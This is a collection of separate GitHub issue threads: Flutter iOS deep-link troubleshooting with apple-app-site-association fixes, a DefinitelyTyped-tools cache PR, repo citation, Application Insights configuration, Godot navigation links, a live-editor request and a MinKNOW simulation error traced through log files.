Android deep linking works but iOS deep linking does not

Hello! I am having trouble with deep linking within my flutter application. I've follow the documentation on getting things setup and have it working on Android but not iOS. I am not receiving any errors or logs (that I can tell) showing something is awry. Thank you in advance :)
Steps to Reproduce

Follow the steps listed in the documentation on how to enable deep linking for mobile
Attempt to boot url to iPhone simulator using xcrun simctl openurl booted https://{MY_DOMAIN}

Expected results: The booted url opens to the desired page within the installed application
Actual results: The website for the app is opened in Safari instead

Code sample
class MobileAppRoot extends StatefulWidget {
  const MobileAppRoot({Key? key}) : super(key: key);

  @override
  State<StatefulWidget> createState() => MobileAppRootState();
}

class MobileAppRootState extends State<MobileAppRoot> {
  late GoRouter _router;

  @override
  void initState() {
    super.initState();
    _router = setRouter();
  }

  setRouter() {
    return GoRouter(
      navigatorKey: NavKeys.rootNavigatorKey,
      initialLocation: '/auctions',
      errorBuilder: (context, state) => LinkPageError(url: state.location),
      routes: <RouteBase>[

        /// Custom top shell route - wraps the below routes in a scaffold with
        /// a bottom tab navigator (ScaffoldWithNavBar). Note that no Navigator
        /// will be created by this top ShellRoute.
        BottomTabBarShellRoute(
          routes: <RouteBase>[

            /// 1st bottom navigation tab root: AUCTIONS
            GoRoute(
              path: '/auctions',
              builder: (context, state) => UserAuctions(),
              routes: <RouteBase>[

                /// The following screens to display stacked on navigator of the
                /// first tab. This will cover screen A but not the application
                /// shell (bottom navigation bar).
                GoRoute(
                  name: "auctionLots",
                  path: ':id',
                  builder: (BuildContext context, GoRouterState state) =>
                      AuctionLots(auctionId: int.tryParse(state.params["id"]!)),
                ),
              ],
            ),

            /// 2nd bottom navigation tab root: FAVORITES
            GoRoute(
              path: '/favorites',
              builder: (context, state) => UserFavorites(),
            ),
            /// 3rd bottom navigation tab root: SEARCH
            GoRoute(
              path: '/search',
              builder: (context, state) => UserSearch(),
            ),
            /// 4th bottom navigation tab root: NOTIFICATIONS
            GoRoute(
              path: '/notifications',
              builder: (context, state) => UserNotifications(),
            ),
            /// 5th bottom navigation tab root: PROFILE
            GoRoute(
              path: '/profile',
              builder: (context, state) => UserProfile(),
                routes: <RouteBase>[
                  GoRoute(
                    name: 'about',
                    path: 'about',
                    builder: (context, state) => const AboutApp(),
                  ),
                ]
            ),
          ],
        ),
      ],
    );
  }

  @override
  Widget build(BuildContext context) {
    return MaterialApp.router(
      routerDelegate: _router.routerDelegate,
      routeInformationParser: _router.routeInformationParser,
      routeInformationProvider: _router.routeInformationProvider,
      debugShowCheckedModeBanner: false,
      builder: (context, child) {
        return MediaQuery(
            data: MediaQuery.of(context).copyWith(textScaleFactor: 1.0),
            child: child!
        );
      },
    );
  }
}

Verified items

Using GoRouter 6.5.2
Have the associated domains listed
Have FlutterDeepLinkingEnabled as YES
Association file is titled as "apple-app-site-association" without a json file extension within ./well-known/ of the website. I've confirmed by using apples association validator that my file is returning as valid json. Example: curl -v https://app-site-association.cdn-apple.com/a/v1/{MY_DOMAIN}

Association File
{
    "applinks": {
        "apps": [],
        "details": [
            {
                "appId": "{TEAM_ID}.{APP_BUNDLE_ID_DEV},
                "paths": [ "*" ]
            },
            {
                "appId": "{TEAM_ID}.{APP_BUNDLE_ID_STAGING}",
                "paths": [ "*" ]
            },
            {
                "appId": "{TEAM_ID}.{APP_BUNDLE_ID_PROD}",
                "paths": [ "*" ]
            }
        ]
    }
}

Flutter analyze
Analyzing saleday mobile...
No issues found! (ran in 2.4s)

Flutter Doctor
[✓] Flutter (Channel stable, 3.7.0, on macOS 13.3 22E252 darwin-arm64, locale en-US)
    • Flutter version 3.7.0 on channel stable at /Users/michaelmccomas/Desktop/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision b06b8b2710 (10 weeks ago), 2023-01-23 16:55:55 -0800
    • Engine revision b24591ed32
    • Dart version 2.19.0
    • DevTools version 2.20.1

[!] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/michaelmccomas/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • ANDROID_HOME = /Users/michaelmccomas/Library/Android/sdk
    • Java binary at: /Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/java
    • Java version Java(TM) SE Runtime Environment (build 1.8.0_361-b09)
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for more details.

[✓] Xcode - develop for iOS and macOS (Xcode 14.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 14B47b
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[!] Android Studio (version 2022.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    ✗ Unable to find bundled Java version.
    • Try updating or re-installing Android Studio.

[✓] Connected device (3 available)
    • iPhone 13 Pro (mobile) • DBEC6662-E6C5-48FC-A8E7-1FE01082C244 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-16-1 (simulator)
    • macOS (desktop)        • macos                                • darwin-arm64   • macOS 13.3 22E252 darwin-arm64
    • Chrome (web)           • chrome                               • web-javascript • Google Chrome 111.0.5563.146

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 2 categories.

Video Demonstration

Pixel 4
iPhone 13 Pro

https://user-images.githubusercontent.com/55296063/229408269-520cf7ff-c90d-4f92-a35f-435e6c1c126c.mov

Both issues seem to be related to each other in regards to issues around deep linking but they are slightly different. Their issues appears to be that links aren't opening the correct path in the app. However, my issue is that no link I try gets the iOS app to open. Even if I attempt to structure my links as shown in that issue report

Thanks for the feedback. Using the code sample provided and following steps mentioned in the linked document, seeing the same behavior as reported.

 stable, master flutter doctor -v
[!] Flutter (Channel stable, 3.7.9, on macOS 12.2.1 21D62 darwin-x64, locale
    en-GB)
    • Flutter version 3.7.9 on channel stable at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision 62bd79521d (3 days ago), 2023-03-30 10:59:36 -0700
    • Engine revision ec975089ac
    • Dart version 2.19.6
    • DevTools version 2.20.1
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

[!] Flutter (Channel master, 3.9.0-20.0.pre.111, on macOS 12.2.1 21D62
    darwin-x64, locale en-GB)
    • Flutter version 3.9.0-20.0.pre.111 on channel master at
      /Users/dhs/documents/fluttersdk/flutter
    ! Warning: `flutter` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/flutter, which is not inside
      your current Flutter SDK checkout at
      /Users/dhs/documents/fluttersdk/flutter. Consider adding
      /Users/dhs/documents/fluttersdk/flutter/bin to the front of your path.
    ! Warning: `dart` on your path resolves to
      /Users/dhs/Documents/Fluttersdk/flutter/bin/dart, which is not inside your
      current Flutter SDK checkout at /Users/dhs/documents/fluttersdk/flutter.
      Consider adding /Users/dhs/documents/fluttersdk/flutter/bin to the front
      of your path.
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision f076b7bac3 (29 minutes ago), 2023-04-04 00:58:34 -0400
    • Engine revision b5d2c056a0
    • Dart version 3.0.0 (build 3.0.0-403.0.dev)
    • DevTools version 2.22.2
    • If those were intentional, you can disregard the above warnings; however
      it is recommended to use "git" directly to perform update checks and
      upgrades.

[!] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
    • Android SDK at /Users/dhs/Library/Android/sdk
    ✗ cmdline-tools component is missing
      Run `path/to/sdkmanager --install "cmdline-tools;latest"`
      See https://developer.android.com/studio/command-line for more details.
    ✗ Android license status unknown.
      Run `flutter doctor --android-licenses` to accept the SDK licenses.
      See https://flutter.dev/docs/get-started/install/macos#android-setup for
      more details.

[✓] Xcode - develop for iOS and macOS (Xcode 13.2.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 13C100
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] IntelliJ IDEA Ultimate Edition (version 2021.3.2)
    • IntelliJ at /Applications/IntelliJ IDEA.app
    • Flutter plugin version 65.1.4
    • Dart plugin version 213.7228

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.29.0

[✓] Connected device (3 available)
    • Darshan's iphone (mobile) • 21150b119064aecc249dfcfe05e259197461ce23 • ios
      • iOS 15.3.1 19D52
    • macOS (desktop)           • macos                                    •
      darwin-x64     • macOS 12.2.1 21D62 darwin-x64
    • Chrome (web)              • chrome                                   •
      web-javascript • Google Chrome 109.0.5414.119

[✓] Network resources
    • All expected network resources are available.

! Doctor found issues in 1 category.

[!] Xcode - develop for iOS and macOS (Xcode 12.3)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    ! Flutter recommends a minimum Xcode version of 13.
      Download the latest version or update via the Mac App Store.
    • CocoaPods version 1.11.2

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] VS Code (version 1.62.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.21.0

[✓] Connected device (5 available)
    • SM G975F (mobile)       • RZ8M802WY0X • android-arm64   • Android 11 (API 30)
    • Darshan's iphone (mobile)  • 21150b119064aecc249dfcfe05e259197461ce23 •
      ios            • iOS 14.4.1 18D61
    • iPhone 12 Pro Max (mobile) • A5473606-0213-4FD8-BA16-553433949729     •
      ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-3 (simulator)
    • macOS (desktop)            • macos                                    •
      darwin-x64     • Mac OS X 10.15.4 19E2269 darwin-x64
    • Chrome (web)               • chrome                                   •
      web-javascript • Google Chrome 98.0.4758.80

[✓] HTTP Host Availability
    • All required HTTP hosts are available

! Doctor found issues in 1 category.

/cc @chunhtai for thoughts.

The apple CDN may take 24 hours before the universal links become available. Can you check again to see if it works now? if not, can you try to do it with developer mode?
See https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_developer_associated-domains?language=objc
alternative mode section

Unfortunately, they are not working as of this message and a few days have passed since the latest association file was posted. I enabled developer mode for my app links like applinks:{MY_DOMAIN}?mode=developer as specified in the documentation you've linked, but after booting the url to the simulator it opened the website in Safari instead

Exactly same behaviour for me

Last time I tested, it is working for me. For those who experimenting the issue, can you share a repro? something like a flutter app with a temp web-domain like github page

I've created an example repository here. Please let me know if there is any additional information I can provide to help pinpoint this issue. Thank you! :)

We're encountering the same issue, following the codebook: https://docs.flutter.dev/cookbook/navigation/set-up-universal-links

any solution ?

Solution...?

Please don't comment asking for updates or any solutions. Please read the announcement:

I have the same issue

i had the same problem, but after adding "/"  to paths, it's solved

i had the same problem, but after adding "/"  to paths, it's solved

@YaserH25 can you elaborate on your fix please? GoRouter won't let me specify / after a path.

i had the same problem, but after adding "/"  to paths, it's solved

@YaserH25 can you elaborate on your fix please? GoRouter won't let me specify / after a path.

add "/" to paths in apple-app-site-association, like this
{
  "applinks": {
      "apps": [],
      "details": [
      {
        "appID": "S8QB4VV633.com.example.deeplinkCookbook",
        "paths": ["*", "/" ]
      }
    ]
  }
}

also in Xcode, open Runner  from Targets, go to Build Phases, in Copy Bundle Resources section click add, select Runner.entitlement, lastly press add

i had the same problem, but after adding "/"  to paths, it's solved

@YaserH25 can you elaborate on your fix please? GoRouter won't let me specify / after a path.

add "/" to paths in apple-app-site-association, like this
{
  "applinks": {
      "apps": [],
      "details": [
      {
        "appID": "S8QB4VV633.com.example.deeplinkCookbook",
        "paths": ["*", "/" ]
      }
    ]
  }
}

also in Xcode, open Runner from Targets, go to Build Phases, in Copy Bundle Resources section click add, select Runner.entitlement, lastly press add

@YaserH25 what will be the extension for apple-app-site-association file like it'll be a json for or text file?

i had the same problem, but after adding "/"  to paths, it's solved

@YaserH25 can you elaborate on your fix please? GoRouter won't let me specify / after a path.

add "/" to paths in apple-app-site-association, like this
{
  "applinks": {
      "apps": [],
      "details": [
      {
        "appID": "S8QB4VV633.com.example.deeplinkCookbook",
        "paths": ["*", "/" ]
      }
    ]
  }
}

also in Xcode, open Runner from Targets, go to Build Phases, in Copy Bundle Resources section click add, select Runner.entitlement, lastly press add

@YaserH25 what will be the extension for apple-app-site-association file like it'll be a json or text file?

make sure it has no extension

make sure it has no extension

Also make sure your web server does add a header to indicate it has a content of "application/json".

It's really frustrating not having any feedback from debug logs on how deeplinks are solved. I have no idea why they are not working, even the Settings > Developer > Universal Links feature on ios says that my deeplinks are properly configured.. 🤷♂  but I'm still having the same problem as described in this issue. I added the "/" to my AASA file, so I'll double check tomorrow 😡

There are number of reason when Apple may fail to crawl. Besides the CDN crawl delay, there is also some undocumented requirement on the website that host AASA. We are currently working on a project to help debug these issues

Do you have documentation or something where I can check these number of reasons apple may fail? This is the domain we are using https://app-site-association.cdn-apple.com/a/v1/dev.demoda.app the teamId is correct. I'm not sure what else I can do really

@chunhtai do you have more info on this or somewhere I can take a look?

@luisgurmendez just wanted to check whether you've been through this doc? swcutil errored for me but you might have better luck. https://developer.apple.com/documentation/technotes/tn3155-debugging-universal-links

No!! I think this is what I was looking for thanks u very much! I'll take a look!!

I notice that your well-known files are not in the good encoding format.

I am also getting this issue and have isolated it to this. I explain it in the video; however, we need to figure out if the --dart-define variables are supposed to be somehow build into the xcode project buildSettings.
https://www.loom.com/share/6aee1e77a2da471294cb779ff275a184?sid=20c66d08-2d7f-4a78-9ebc-bcadb0b27e22

I have a weird case:
in iOS simulator when I run xcrun simctl openurl booted "https:/my-domain/profile?id=profileId" it open the app directly and I can catch the path.
but with a physical device, when trying to click the link it open the Safari browser not the app
any body come across this issue before?

I have a weird case: in iOS simulator when I run xcrun simctl openurl booted "https:/my-domain/profile?id=profileId" it open the app directly and I can catch the path. but with a physical device, when trying to click the link it open the Safari browser not the app
any body come across this issue before?

I got the issue on my side because for a weird reason the deeplink used domain.fr instead of www.domain.fr
So in xcode i added both domain.
Also check my previous answer to check that file is well hosted in a good json format. Check our hosted bundle id etc.

I have a weird case: in iOS simulator when I run xcrun simctl openurl booted "https:/my-domain/profile?id=profileId" it open the app directly and I can catch the path. but with a physical device, when trying to click the link it open the Safari browser not the app
any body come across this issue before?

I got the issue on my side because for a weird reason the deeplink used domain.fr instead of www.domain.fr So in xcode i added both domain.
Also check my previous answer to check that file is well hosted in a good json format. Check our hosted bundle id etc.

My issue resolved after I put both domains in Xcode applinks:www.mydomain.com and applinks:mydomain.com.
Thank you !!

On your side, you are only using www.mydomain.com right and never domain.com ?
Cool that it works for you.
But maybe that should be added in some documentation, that's so weird. I lost 3 weeks >_<

I was also facing the same issue for 3 days . And then i used this
{
"applinks": {
"apps": [],
"defaults": { "percentEncoded": false },
"details": [
{
"appID": "AAAA0XXXX.com.example.YourApp",
"paths": [ "*" ],
       }
   ]

}
}
and It worked. just added  the percentEncoded.

"defaults": { "percentEncoded": false },

not works for me..
me using iOs & android.
but it works on android 14

I was using firebase_dynamic_links previously so I had a value in Info.plist for it. Removing that fixed the issue for me!
Removed the following from Info.plist:
<key>FirebaseDynamicLinksCustomDomains</key>
<array>
   <string>https://{My_DOMAIN}</string>
</array>

I had the same issue and found the problem to be the fact that my GoRouter instance was replaced in the widget tree after load. This only caused problems on iOS. The solution was to move the initialization of the GoRouter instance to a stateful widget instead of the build method.

Hello @darshankawar i have tried all these, is not directing me to my app

Similar issue here:
It does not work in the simulator but on a physical device in works fine in TestFlight and in Production. All AASA validators pass for us.

I am facing a similar issue and have been stuck with it for weeks!

Similar issue here:
It does not work in the simulator but on a physical device in works fine in TestFlight and in Production. All AASA validators pass for us.

Hello, can you share your setup for iOS? I followed the app_links and go_router combination approach, where Android works fine but iOS didn't!


Use pacote second attempt

@andrewbranch Thanks for trying https://github.com/microsoft/DefinitelyTyped-tools/pull/451, I've now moved the cache into os.tmpdir(), to address https://github.com/microsoft/DefinitelyTyped-tools/pull/480#issue-1266598918. Would you be willing to give it another go, when you have a chance?

yolo

@andrewbranch Thanks! :pray:

I believe it didn’t crash, but it also didn’t have anything to publish.

Actually, it looks like this is the old code, isn’t it? Because it looks like you removed the "Writing npm cache" log. The new version got published at 10:58 so I thought it would have used it here.

That's right, looks like the version before this PR. Maybe the next run will use the new version?

I take that as a sign it's using the new version, filling the cache.

It’s still going! 😄

https://github.com/microsoft/DefinitelyTyped-tools/pull/453#issue-1227242953 speeds that up +/- 10 times.

Oops, I should have just merged that one too

Seemed to work... will watch the next run to make sure it successfully uses the new cache it built

Yep. I think this is good. Thanks! 🎉

Thanks a lot!


How to cite this course/repo?

In order to pay tribute to this fantastic content, I'd love to cite this repo or this course. It would be wonderful, if you could share in the README.md how to cite this.
Thanks in advance!

Thanks for your kind words, it would be nice to add "how to cite this course" to the README indeed.
Having said that, I don't really know how other course repos manage this kind of thing. Suggestions more than welcome!
I am aware of this https://docs.github.com/en/repositories/archiving-a-github-repository/referencing-and-citing-content but not sure we want to have a DOI for particular releases.

I would encourage you to have DOIs ... for every release if possible.

A few links I bumped into that may serve as data points:

https://the-turing-way.netlify.app/welcome#citing-the-turing-way
https://the-environmental-ds-book.netlify.app/preamble/attribution.html

For now we don't really do releases since the content is regularly evolving but we could if we think this is worth it (e.g. for each MOOC session) ...

I followed the instructions in https://docs.github.com/en/repositories/archiving-a-github-repository/referencing-and-citing-content. My understanding is that we need to create a github release for Zenodo to create automatically a DOI.
Remaining steps:

do a github relase for the MOOC 3rd version
add a small "how to cite us" section in jupyter-book/index.md similarly as in https://inria.github.io/scikit-learn-mooc/

Great news! Thanks for making the effort. This will make it easier for us to cite this material.


Application Insight Instrumentation Key is empty in AspNet 5 via DI

hi all,
i notice that the instrumentationKey is empty in my asp.net 5 project (1.0.0-rc1-update1)
Steps to reproduce:

create file with name config.json

populate the file with  appInisight informations:
{
"ApplicationInsights": {
"InstrumentationKey": ""
}
}

read and build configuration:
public Startup(IHostingEnvironment env, IApplicationEnvironment appEnv)
{
Configuration = new ConfigurationBuilder()
.SetBasePath(appEnv.ApplicationBasePath)
.AddJsonFile("config.json")
.Build();
}

insert the following line in method ConfigureServices in startup.cs:
services.AddApplicationInsightsTelemetry(Configuration);

insert the following lines in method Configure:
app.UseApplicationInsightsRequestTelemetry();
app.UseApplicationInsightsExceptionTelemetry();

now when i try to retrieve the TelemetryClient from myController(via Dependency Injection) i notice that the InstrumentationKey is Empty.
regards,
luca

Please check you configuration file. Did you have all open, closing braces in place; did not you add it inside some other configuration section rather that upper most?
Also could you please move this issue to a correct repo: https://github.com/Microsoft/ApplicationInsights-aspnetcore

@lucadibiagio Do you still see the issue?

yes i already have,
i move this question to the correct repo
thank you

@lucadibiagio can you please insert the link to the issue in the different repository. Closing issue for now

Since I also faced the same issue, I moved it to here.


NavigationAgent3D can only use the first NavigationLink3D it finds, ignores the others

Godot version
4.0 beta 12
System information
Windows 10
Issue description
I created a test NavigationAgent3D that reaches a NavigationLink3D and then it jumps towards the other end, it works and after that it heads to the next navlink but the signal is never emitted.
If you place the agent on the first platform then that link works, but not the next one.
Steps to reproduce
.
Minimal reproduction project
navlinks_jump_test.zip

@smix8 's work probably improves on this

@smix8 's work probably improves on this

You mean his navlink project or a new PR?

This is primarily an issue with you NavigationAgent pathfinding properties not suited for the movement you are trying to make.
The path_desired_distance and target_desired_distance and path_max_distance  are at their default world units (1/1/3).
If you increase those defaults your agent jumps successfully like a bunny on all platforms.
So what basically happens here is that the agent either does not have a chance to get close enough to the current path index to advance the path or that the path is reset due to being outside the max distance to the current path point.

This is primarily an issue with you NavigationAgent pathfinding properties not suited for the movement you are trying to make.
The path_desired_distance and target_desired_distance and path_max_distance are at their default world units (1/1/3).
If you increase those defaults your agent jumps successfully like a bunny on all platforms.
So what basically happens here is that the agent either does not have a chance to get close enough to the current path index to advance the path or that the path is reset due to being outside the max distance to the current path point.

I understood the problem. I forgot to set velocity.x and z to 0 once it hits the ground :disappointed:
No need to change the default values.

Resolved then?


Live editor

A "live editor" which shows any errors, and renders the harness "on the fly" would save a lot of time and prevent the tedium of uploading files multiple times, only to then find an error and have to repeat the process.

Display "live" preview (render to temporary .svg file)
Display any errors as they occur
Add API endpoint with DRF serializer for encoded data

An additional thought - load part data (connectors / crimps / etc) from existing InvenTree database


Playback error

Hello,
I have encountered an issue with running a simulation in MinKNOW. This is what I did:

add the simulation = line to “sequencing_MIN106_DNA.toml”
reload script in minknow API
in the terminal, connect to Guppy by running guppy_basecall_server --config dna_r9.4.1_450bps_fast.cfg -p 5555 -l /tmp/guppy -x 'cuda:0' (this might not be necessary)
connect the configuration test flow cell to the desktop.
select flow cell type as FLO-MIN106, a random kit, and hit start.
The flow cell temperature begin to rise, once this step is finished, the run stops and it says "run error".

Please let me know what you think might be causing this error. Thank you very much.

Hello,
If you look in your logs, it might have some more information.
Try looking somewhere like /var/log/minknow/ and look at the latest modified files/position.
Does your simulation =  line have the path to your bulk fast5 file in there correctly?
Otherwise, it could be while using the configuration test cell. I've never tried to do a simulation with that before.

Thanks for replying!
I will check the logs once I get a chance.
I've checked that the path is correct, and used h5dump to inspect the file looks normal.
It could be the problem of using a test cell. But a tutorial I have been following says "Insert a configuration test flowcell into the sequencing device" (https://github.com/LooseLab/readfish).  I am also hesitant to use a real flow cell before I know things can work.  Can I use a used one for testing purposes?

Hi
Perhaps you gave a BLOW5 file to the simulation - I thought so because this issue is opened under slow5tools?
simulation =  should point to a bulk-FAST5 file, not a BLOW5 file or a regular FAST5. Bulk-FAST5 is quite different to regular FAST5 files.
Readfish repository has a link to an example bulk-FAST5 file you can use.  If you have an old used flowcell, you can use that too, instead of a new flowcell. I remember having some trouble with the config test cell with bulk-FAST5, 2 years ago, so cannot exactly  remember what the issue was.

Yea, and if you don't have any old flowcells, you can also simulate positions too and don't even need to plug a device in. Handy if benchmarking 100 MinION runs at once 🤣

Thanks! Good to know the difference between bulk- and regular fast5, I am using the bulk-fast5 provided in Readfish repo. I will try with an old flowcell when I can get one. Also,  @Psy-Fer do you mind sharing share a tutorial on how to "simulate positions"? Couldn't find useful info online.
Again, thanks very much for helping out and being patient with a beginner.

Hey,
yea sure.
Just don't run this while you are running other flowcells or anything. I use this when testing real-time applications on my laptop without access to a minion.
This is also assuming running on linux
# in a separate terminal that you don't close until you are done simulating run the following

# stop the minkow service
sudo systemctl stop minknow.service

# start a simulated integrated device (like on a GridION)
sudo /opt/ont/minknow/bin/mk_manager_svc -d --print-rpc-ports --simulated-integrated-devices 1

Refresh your minknow and you should now see a new device called something like M00001
Have fun :)

Amazing! It is working very well!
Two follow up questions:
For "simulate position" function, will it be simulating using the fast5 I specified? Is there anyway to make sure?
How should I reset back to the normal mode? I noticed that under "connection manager" there is no "saved hosts". Don't remember editing this page when I installed minknow so not sure how to add it. Tried with the desktop's ip address and hostname, do not work.

When I try to run the simulation again, I got this issue:
$ sudo systemctl stop minknow.service
$ sudo /opt/ont/minknow/bin/mk_manager_svc -d --print-rpc-ports --simulated-integrated-devices 1
Port 9502 appears to be in use, retrying for 2 minutes as it might be in TIME_WAIT state and will become available shortly.
Port 9502 appears to be in use.
Is there another instance of MinKNOW running?

In terms of simulation using an old flowcell, it also produces "run error". I checked the most recently modified log file:
2023-05-29 17:00:12.129826    INFO: starting_up (control)
    hostname: LX310327
    system: ubuntu 22.04
            Distribution:           23.04.5 (STABLE)
            MinKNOW Core:           5.5.3
            Bream:                  7.5.9
            Protocol configuration: 5.5.13
            Guppy (build):          6.5.5+3a1e121
            Guppy (connected):      6.5.7+ca6d6af

2023-05-29 17:00:12.138173 WARNING: partially_raised_file_limits (analyser)
    actual: 1024
    target: 4096
2023-05-29 17:06:20.364178    INFO: finished (analyser)
/var/log/minknow/MN34448/analyser_log-0.txt (END)

Any new ideas on what is going on?

@jennieli421 where do you see the "run error"? On Minknow, under the messages tab is there anything useful about the error?
Check the most recent of each of the all the following logs:

/var/log/minknow/basecall_manager_log-*.txt
/var/log/minknow/basecall_manager_log-*.txt
/var/log/minknow/MN34448/bream-*.txt
/var/log/minknow/MN34448/control_server_log-*.txt

One of those will have the error. Can you also double-check if you have given the path to the bulk-FAST5 correctly in the toml file - I remember due to a typo I had a similar trouble some time ago.
Also @alexomics and @mattloose
mattloose might want to comment about this, but I see they are perhaps too busy https://github.com/LooseLab/readfish/issues/240

In /var/log/minknow/MN34448/control_server_log-0.txt:
023-05-29 17:06:20.125127 WARNING: hdf5_error (fast5)
    cause: unable to open file: name = '/home/readuntil/readfish_files/PLSP57501_20170308_FNFAF14035_MN16458_sequencing_run_NOTT_Hum_wh1rs2_60428.fast5', errno = 13, error message = 'Permission denied', flags = 0, o_flags = 0
    function: H5Fopen
    message: unable to open file
    stack_trace:
                   #000: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5F.c line 620 in H5Fopen(): unable to open file
                     major: File accessibility
                     minor: Unable to open file

2023-05-29 17:06:20.126132   ERROR: exception_during_observer_callback (state_control)
    callback_mode: transitioning
    cause: Dynamic exception type: boost::filesystem::filesystem_error
           std::exception::what: boost::filesystem::status: Permission denied [system:13]: "/home/readuntil/readfish_files/PLSP57501_20170308_FNFAF14035_MN16458_sequencing_run_NOTT_Hum_wh1rs2_60428.fast5"

Then I changed the permission of the fast5 file by running chmod 777  PLSP57501_20170308_FNFAF14035_MN16458_sequencing_run_NOTT_Hum_wh1rs2_60428.fast5
Tried simulation using a minion device, still the same run error. the minknow message says
"MinION Mk1B · MN19362
Stopping protocol due to internal error. All data will be saved."
In the control_server_log-0.txt of MN19362, I see a different error:
2023-06-01 14:40:26.304513 WARNING: hdf5_error (fast5)
    cause: object 'duty_time' doesn't exist
    function: H5Gopen2
    message: unable to open group
    stack_trace:
                   #000: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5G.c line 510 in H5Gopen2(): unable to open group
                     major: Symbol table
                     minor: Can't open object
                   #001: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5VLcallback.c line 4187 in H5VL_group_open(): group open failed
                     major: Virtual Object Layer
                     minor: Can't open object
                   #002: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5VLcallback.c line 4154 in H5VL__group_open(): group open failed
                     major: Virtual Object Layer
                     minor: Can't open object
                   #003: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5VLnative_group.c line 123 in H5VL__native_group_open(): unable to open group
                     major: Symbol table
                     minor: Can't open object
                   #004: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5Gint.c line 270 in H5G__open_name(): group not found
                     major: Symbol table
                     minor: Object not found
                   #005: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5Gloc.c line 442 in H5G_loc_find(): can't find object
                     major: Symbol table
                     minor: Object not found
                   #006: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5Gtraverse.c line 837 in H5G_traverse(): internal path traversal failed
                     major: Symbol table
                     minor: Object not found
                   #007: /builds/informatics/conan-hdf5/9721449/.conan/data/hdf5/1.12.1/nanopore/stable/build/4cb52770e5d65c257e2250813532b9e31047d0eb/source_subfolder/src/H5Gtraverse.c line 613 in H5G__traverse_real(): traversal operator failed
                     major: Symbol table
